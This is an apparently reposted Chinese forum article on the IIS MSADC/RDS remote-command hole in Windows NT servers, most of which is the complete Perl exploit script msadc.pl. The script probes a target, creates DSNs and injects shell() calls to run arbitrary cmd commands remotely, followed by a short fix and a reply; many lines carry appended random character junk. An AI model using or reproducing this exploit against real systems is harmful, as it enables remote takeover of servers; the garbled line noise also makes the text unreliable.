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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) " }@QL`  
#,O<E@E  
涉及程序: Dg]ua5jk  
Microsoft NT server q P@4KH} e  
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描述: 5=g{%X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ZpPm>|w  
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详细: /vFw5KUu  
如果你没有时间读详细内容的话,就删除: jxL5L[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll da3]#%i0  
有关的安全问题就没有了。 NYD#I{h  
guv)[:cd;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9hI4',(rE  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 raGov`  
关于利用ODBC远程漏洞的描述,请参看: 8#S|j BV  
@`U78)]  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >R/^|hnJ  
lY_E=K]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 $kJvPwRO  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2RKI M(~  
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这里不再论述。 $=n|MbFl  
$%VFk53I  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: A>^\jIB>  
;$(a+?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset tv)x(MX  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! MP?9k)f  
:L`  
St/Hv[H'[E  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q@P5c  
|sHIT<=m  
#!perl 8QDRlF:;<  
# J'y*;@4l^:  
# MSADC/RDS 'usage' (aka exploit) script kRnh20I  
# +L*2 6ar6  
# by rain.forest.puppy fk`y}#7M  
# W,YzD&f=uS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wFpt#_fS  
# beta test and find errors! $k*E^~qT  
DqrS5!C  
use Socket; use Getopt::Std; A[v]^pv'  
getopts("e:vd:h:XR", \%args); q~.\NKc  
r#rQ3&Vn  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; T30!'F(*,  
eh nN  
if (!defined $args{h} && !defined $args{R}) { /<s'@!W  
print qq~ =)"60R7{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } W'rft@J$  
-h <host> = host you want to scan (ip or domain)  =w0Rq~  
-d <seconds> = delay between calls, default 1 second or\ 2)  
-X = dump Index Server path table, if available }Gr5TDiV0\  
-v = verbose ~R7rIP8Wr  
-e = external dictionary file for step 5 / O6n[qj|  
9*RfOdnNe  
Or a -R will resume a command session ^10*s,(uS?  
5 |{0|mP  
~; exit;} VR2BdfKU,  
s#?Y^bgH  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; m!a<\0^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} lQ!ukl)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  gvYa&N  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); EU TTeFp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} O*rKV2\  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8263  
Y(78qs1w  
if (!defined $args{R}){ $ret = &has_msadc; ~HI|t2C  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} %#2[3N{  
V' "p a  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" :,y V?E6]  
. "cmd /c "; b\"JXfw  
$in=<STDIN>; chomp $in; <a2t"rc  
$command="cmd /c " . $in ; Qr1%"^4  
52/^>=t  
if (defined $args{R}) {&load; exit;} z<ptrH  
}E[S%W[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 20d[\P(.  
&try_btcustmr; =B4mi.;@i  
KR%p*Nh+C  
print "\nStep 2: Trying to make our own DSN..."; +*a:\b" fx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ko@I]gi2  
nORm7sa9  
print "\nStep 3: Trying known DSNs..."; &Ph@uZ\  
&known_dsn; c_x6FoE;L  
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print "\nStep 4: Trying known .mdbs..."; #q9jFW8  
&known_mdb; &48wa^d  
C]K@SN$   
if (defined $args{e}){ Dsw(ti`@  
print "\nStep 5: Trying dictionary of DSN names..."; ^, q\S  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } D@!`b6  
lE`hC#m  
print "Sorry Charley...maybe next time?\n"; }ARWR.7Cc  
exit; H5S>|"`e`e  
NcZ6!wWdE  
############################################################################## @ T'!;)  
y+_G L=J  
sub sendraw { # ripped and modded from whisker ce.'STm=  
sleep($delay); # it's a DoS on the server! At least on mine... SWY?0Pu  
my ($pstr)=@_; R#`hT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hdQ[=PH)  
die("Socket problems\n"); 73A1+2  
if(connect(S,pack "SnA4x8",2,80,$target)){ d2'9C6t  
select(S); $|=1; Ry,_ %j3  
print $pstr; my @in=<S>; CA7tI >y_  
select(STDOUT); close(S); F]N9ZWn /  
return @in; E[/<AY^@!z  
} else { die("Can't connect...\n"); }} k+ 5:fB)z  
J )oa:Q  
############################################################################## eA$9)K1GO  
iS&fp[Th  
sub make_header { # make the HTTP request =Jg5J5  
my $msadc=<<EOT eVjr/nm  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~!E% GCyFy  
User-Agent: ACTIVEDATA T12?'JL^r  
Host: $ip k]u0US9/  
Content-Length: $clen P+:FiVj@~  
Connection: Keep-Alive %E3|b6k\  
T#DJQ"$  
ADCClientVersion:01.06 I?c# T Rm  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 c|X.&<lX  
_:x/\ 8P  
--!ADM!ROX!YOUR!WORLD! 8wp)aGTcU  
Content-Type: application/x-varg "pa5+N&2-  
Content-Length: $reqlen y>'^<xk  
%0YwaxXPn7  
EOT $2A%y14  
; $msadc=~s/\n/\r\n/g; _ M8Q%  
return $msadc;} Us+|L|/  
 Xt(w+  
############################################################################## bU/5ug.  
&[`p qX  
sub make_req { # make the RDS request x/ {  
my ($switch, $p1, $p2)=@_; \om$%FUP  
my $req=""; my $t1, $t2, $query, $dsn; *LOpbf  
sw6]Bc  
if ($switch==1){ # this is the btcustmr.mdb query !lG5BOJM  
$query="Select * from Customers where City=" . make_shell(); ;JDn1(6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Z Mids"Xdf  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )TnxsFC  
?w`uv9NUJ8  
elsif ($switch==2){ # this is general make table query ~=aD*v<3d  
$query="create table AZZ (B int, C varchar(10))"; dms R>Q  
$dsn="$p1";} W&q]bi@C  
i=OPl  
elsif ($switch==3){ # this is general exploit table query GM%%7^uE  
$query="select * from AZZ where C=" . make_shell(); u3(zixb  
$dsn="$p1";} 8G`fSac`  
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elsif ($switch==4){ # attempt to hork file info from index server Pni  
$query="select path from scope()"; /B.\6  
$dsn="Provider=MSIDXS;";} " |[w.`  
L#Uk=  
elsif ($switch==5){ # bad query 0(VAmb%{  
$query="select"; fWhwI+  
$dsn="$p1";} wASgdGoy  
6QkdH7Qf=  
$t1= make_unicode($query); d@#!,P5 `  
$t2= make_unicode($dsn); ?M. n 9|}y  
$req = "\x02\x00\x03\x00"; y/k6gl[`  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2>Hl=bX  
$req.= "\x00\x00" . $t1 ; N`1:U 4}  
$req.= "\x08\x00" . pack ("S1", length($t2)); 9G_bM(q'^2  
$req.= "\x00\x00" . $t2 ; L}UJ`U  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; /.9j$iK#  
return $req;} B!0o6)u'  
E;.<'t>  
############################################################################## D^yZ!}Kl  
Gl}[1<~o  
sub make_shell { # this makes the shell() statement 6S)$wj*w  
return "'|shell(\"$command\")|'";} qL.1N~$2  
<^snS,06  
############################################################################## `[3Iz$K=  
hNgbHzW  
sub make_unicode { # quick little function to convert to unicode ,l^; ZE  
my ($in)=@_; my $out; 6Qne rd%Ec  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^2%_AP0=  
return $out;} 92!1I$zi  
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############################################################################## [[2Zcz:  
l5_RG,O0A  
sub rdo_success { # checks for RDO return success (this is kludge) Z 6KM%R  
my (@in) = @_; my $base=content_start(@in); " 2A`M~  
if($in[$base]=~/multipart\/mixed/){ Kq#\P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} (jd)sf6Tj[  
return 0;} "| cNY_$&s  
)'3(=F$+l  
############################################################################## *@/1]W  
> 2_xRn<P  
sub make_dsn { # this makes a DSN for us nt. A X  
my @drives=("c","d","e","f"); s ;EwAd(  
print "\nMaking DSN: "; Xu\FcQ{  
foreach $drive (@drives) { 'X_8j` ]#  
print "$drive: "; vVB8zS~l ,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1><@$kVMm~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" JAJo^}}{b  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); hr3RC+ y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 6-#<*Pg  
return 0 if $2 eq "404"; # not found/doesn't exist GcN[bH(@  
if($2 eq "200") { Dx`-Kg_p  
foreach $line (@results) { 1bjhEO W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} S.&=>   
} return 0;} {=mf/3.r  
l2H-E&'=  
############################################################################## Y3@\uM`2#  
DP{kin"4I  
sub verify_exists { |R[@u=7s  
my ($page)=@_; F/,K8<|r>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _~~:@fy  
return $results[0];} A+Uil\%  
7^1yZ1(  
############################################################################## \yt-_W=[  
>K:| +XbH  
sub try_btcustmr { D>Ij  
my @drives=("c","d","e","f"); KFQ4vavNh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N zrHWVD  
Itq248+Ci  
foreach $dir (@dirs) { |NuX9!S  
print "$dir -> "; # fun status so you can see progress ,liFo.kT8%  
foreach $drive (@drives) { T%0vifoQ_$  
print "$drive: "; # ditto '"u>;Bq  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .quui\I3  
$reqlenlen=length( "$reqlen" ); ;Q*=AW  
$clen= 206 + $reqlenlen + $reqlen; 7G6XK   
Jv_KZDOdk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); BG ] w2=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8{DZew /  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;QYUiR  
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############################################################################## *B<Ig^c  
+5:Dy,F =  
sub odbc_error { %LI[+#QE  
my (@in)=@_; my $base; aqL#g18  
my $base = content_start(@in); 4)- ?1?)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this UqVcN$^b  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w5/`_m!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bUv}({  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ai,\'%N  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8+}yf.`  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]0[Gc \h}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . VTS7K2lBvX  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} +Cs[]~  
LWH(b s9U  
############################################################################## |l\!  
,<Ag&*YE4  
sub verbose { `.oWmBey\  
my ($in)=@_; _xKuEU}  
return if !$verbose; Bh` Y?S  
print STDOUT "\n$in\n";} a7$]" T 7  
-4 *94<  
############################################################################## K)ZW1d;  
tW^oa  
sub save { /#<R  
my ($p1, $p2, $p3, $p4)=@_; IKz3IR eu  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; E&;[E  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; T[?wbYfW  
close OUT;}  w^Mj[v#  
8m prK`p  
############################################################################## EN,PI~~F  
S['rfD>9  
sub load { 0f_+h %%=  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]VKM3[   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); mB\)Q J.%  
@p=<IN>; close(IN); >Bw<THx  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); D,3Kx ^  
$target= inet_aton($ip) || die("inet_aton problems"); 9#;GG3  
print "Resuming to $ip ..."; sn!E$ls3O  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Os90fR  
if($p[1]==1) { 61aU~w11a  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m{v*\e7 P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )7aUDsu>4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); v3*y43  
if (rdo_success(@results)){print "Success!\n";} B|f =hlY  
else { print "failed\n"; verbose(odbc_error(@results));}} Mzg zOM  
elsif ($p[1]==3){ ~vbyX  
if(run_query("$p[3]")){ /VmtQ{KTt+  
print "Success!\n";} else { print "failed\n"; }} *jf%Wj)0M  
elsif ($p[1]==4){ hR4\:s+[  
if(run_query($drvst . "$p[3]")){ Y:?cWO  
print "Success!\n"; } else { print "failed\n"; }} t6,bA1*5y  
exit;} +GYO<N7  
|&oTxx$S  
############################################################################## ,<CFjtelO  
sBq-"YcjR  
sub create_table { 2FVO@D  
my ($in)=@_; &FpoMW  
$reqlen=length( make_req(2,$in,"") ) - 28; hEh` cBO  
$reqlenlen=length( "$reqlen" ); uGc0Lv4i/  
$clen= 206 + $reqlenlen + $reqlen; IDY2X+C#U  
my @results=sendraw(make_header() . make_req(2,$in,"")); `;}w!U  
return 1 if rdo_success(@results); "*bP @W  
my $temp= odbc_error(@results); verbose($temp); 94}y,\S~  
return 1 if $temp=~/Table 'AZZ' already exists/; mx!EuF$I  
return 0;} #iiXJnG  
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############################################################################## {y%|Io`P  
<r1/& RW,  
sub known_dsn { KU=+ 1,Jf  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (&KBYiwr  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~(;HkT  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", . #FJM2Xk  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); R*`=Bk0+  
1KadT7<0}  
foreach $dSn (@dsns) { UrmnHc>}c  
print "."; \v _R]0m\  
next if (!is_access("DSN=$dSn")); xFzaVjjP  
if(create_table("DSN=$dSn")){ .Cu0G1  
print "$dSn successful\n"; 0F%/R^mw  
if(run_query("DSN=$dSn")){ U1)!X@F{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `uof\D<']  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @b9qBJfQ  
ANRZQpnXQ  
############################################################################## 6n:oEXM>  
H oO1_{q"  
sub is_access { W) ?s''WE;  
my ($in)=@_; GD1L6kVd1  
$reqlen=length( make_req(5,$in,"") ) - 28; `$Y%c1;  
$reqlenlen=length( "$reqlen" ); yTR5*{?j  
$clen= 206 + $reqlenlen + $reqlen; fP/;t61Z  
my @results=sendraw(make_header() . make_req(5,$in,"")); pHzl/b8  
my $temp= odbc_error(@results); =bOMtQ]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Rjn%<R2nW  
return 0;} P#9Pq,I  
J6mUU3F9f  
############################################################################## 20w4 '@sq  
zXW;W$7V4  
sub run_query { IqFmJs|C  
my ($in)=@_; AHzm9U @  
$reqlen=length( make_req(3,$in,"") ) - 28; [M2xF<r6t  
$reqlenlen=length( "$reqlen" ); * >k6n5%  
$clen= 206 + $reqlenlen + $reqlen; ul{D)zm\D  
my @results=sendraw(make_header() . make_req(3,$in,"")); ETm:KbS  
return 1 if rdo_success(@results); rrSFmhQUk  
my $temp= odbc_error(@results); verbose($temp); RREl($$p  
return 0;} r2\ }_pIj  
Ch)E:Dvq6  
############################################################################## ^ f[^.k$3d  
bD=R/yA  
sub known_mdb { mGo NT  
my @drives=("c","d","e","f","g"); &MBm1T|Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P6)d#M  
my $dir, $drive, $mdb; y*E{X  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; LhSXz>AX  
`_x#`%!#2  
# this is sparse, because I don't know of many  USJ4Z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]/|DCxQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", s$~H{za  
"\\system32\\certmdb.mdb", _6->D[dB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% OKA6S*  
:4)lmIu  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", y\:,.cZ+TQ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .*?)L3n+t  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", E)]emeG d  
"\\cfusion\\cfapps\\security\\realm_.mdb", x[R?hS,0 t  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", *fSX3Dk  
"\\cfusion\\database\\cfexamples.mdb", Mo]iVj8~  
"\\cfusion\\database\\cfsnippets.mdb", O O-Obg^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]''tuo2g8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", t&-c?&FO\;  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uN0'n}c;1.  
"\\cfusion\\database\\smpolicy.mdb", qv`:o `  
"\\cfusion\\database\cypress.mdb", _I%mY!x\`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ltHuN;C\  
"\\website\\cgi-win\\dbsample.mdb", (kx>\FIK*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", OA7=kH@3c  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" UJ`%uLR~  
); #these are just :(I=z6  
foreach $drive (@drives) { xzRC %  
foreach $dir (@dirs){ 6wb M$|yFj  
foreach $mdb (@sysmdbs) { ?[ D6|gp  
print "."; ZRUAw,T*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ z u1gP/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7>gW2 m  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ cSj(u%9}  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; O>ZJOKe  
} else { print "Something's borked. Use verbose next time\n"; }}}}} %Ip=3($Ku[  
+PO& z!F  
foreach $drive (@drives) { xH-} <7  
foreach $mdb (@mdbs) { 5 d|+c<  
print "."; mW)"~sA  
if(create_table($drv . $drive . $dir . $mdb)){ R xWD>:  
print "\n" . $drive . $dir . $mdb . " successful\n"; l> >BeZ  
if(run_query($drv . $drive . $dir . $mdb)){ }80n5 X<9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3iiOxg?j  
} else { print "Something's borked. Use verbose next time\n"; }}}} /PkOF ((  
} l_x>.'a  
+ >v{#A_u  
############################################################################## Pv@;)s(-  
!" : arK  
sub hork_idx { SHC VjI6  
print "\nAttempting to dump Index Server tables...\n"; 98WJ"f_ #  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; gOk^("@  
$reqlen=length( make_req(4,"","") ) - 28; y)Lyo'`  
$reqlenlen=length( "$reqlen" ); <7X+-%yb;  
$clen= 206 + $reqlenlen + $reqlen; %;G!gJeE  
my @results=sendraw2(make_header() . make_req(4,"","")); 3lNw*M|")  
if (rdo_success(@results)){ ~0n9In%  
my $max=@results; my $c; my %d; ,@2d4eg 4  
for($c=19; $c<$max; $c++){ $w<~W1\:  
$results[$c]=~s/\x00//g; <lLk (fC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; g? \pH:|79  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; O11.wLNH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;Y16I#?;Kh  
$d{"$1$2"}="";} 0M>%1 *  
foreach $c (keys %d){ print "$c\n"; } Mq,_DQ  
} else {print "Index server doesn't seem to be installed.\n"; }} !!t@ H\  
:Ee5:S   
############################################################################## d>7bwG+k  
iAW oKW  
sub dsn_dict { @KYmkx W  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FdJC@Y-#uA  
while(<IN>){ ~ .Eln+N  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ';7|H|,F  
next if (!is_access("DSN=$dSn")); ^A$~8?f  
if(create_table("DSN=$dSn")){ b;Im +9&  
print "$dSn successful\n"; !PrO~  
if(run_query("DSN=$dSn")){   s/'gl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ljxn}):[  
print "Something's borked. Use verbose next time\n";}}} 'C*NyHc  
print "\n"; close(IN);} X]*W +  
_E[{7 "3}  
############################################################################## ]QU52R@M  
2=NYBOE  
sub sendraw2 { # ripped and modded from whisker Bf88f<Z  
sleep($delay); # it's a DoS on the server! At least on mine... Z_Ma|V?6  
my ($pstr)=@_; Y<.F/iaH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @w:sNXz-  
die("Socket problems\n"); cw<DM%p  
if(connect(S,pack "SnA4x8",2,80,$target)){ vR~*r6hX8  
print "Connected. Getting data"; Sb[rSczS~  
open(OUT,">raw.out"); my @in; T}]Ao  
select(S); $|=1; print $pstr; FZmYv%J  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} E(U}$Zey  
close(OUT); select(STDOUT); close(S); return @in; {nOK*7+ "  
} else { die("Can't connect...\n"); }} 1,`x1dcO!A  
cmN0ya  
############################################################################## n7q-)Dv_U  
nZ7v9o9  
sub content_start { # this will take in the server headers Ef`LBAfOO  
my (@in)=@_; my $c; _ zmx  
for ($c=1;$c<500;$c++) { JkxS1  
if($in[$c] =~/^\x0d\x0a/){ khv!\^&DD  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |PJW2PN  
else { return $c+1; }}} mQs'2Y6Oa  
return -1;} # it should never get here actually nLfnikw&  
Em"X5>;4  
############################################################################## /?XfVhA:A  
dju&Ku  
sub funky { G[>-@9_b  
my (@in)=@_; my $error=odbc_error(@in); QT&{M #Ydn  
if($error=~/ADO could not find the specified provider/){ }C&c=3V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; l*:p==  
exit;} YKc{P"'/ |  
if($error=~/A Handler is required/){ }t-r:R$,  
print "\nServer has custom handler filters (they most likely are patched)\n"; GyPN)!X@.&  
exit;} : }IS=A  
if($error=~/specified Handler has denied Access/){ GKd>AP_  
print "\nServer has custom handler filters (they most likely are patched)\n"; _5Ll L#)  
exit;}} 5~"=Fm<uD  
>SGSn/AJi  
############################################################################## 3z#;0n}  
_INUJc  
sub has_msadc { SA7,]&Zb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4QVd{  
my $base=content_start(@results); N+V-V-PVk  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 68!fcK  
return 0;} ;hZ@C!S:  
sq^"bLw  
######################## Ji[w; [qL  
;i#gk%- 2  
rh l5r"%  
解决方案: XHg %X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N.`]D)57  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7. .vaq#  
z>:7}=H0  
拿出来充数 哈哈
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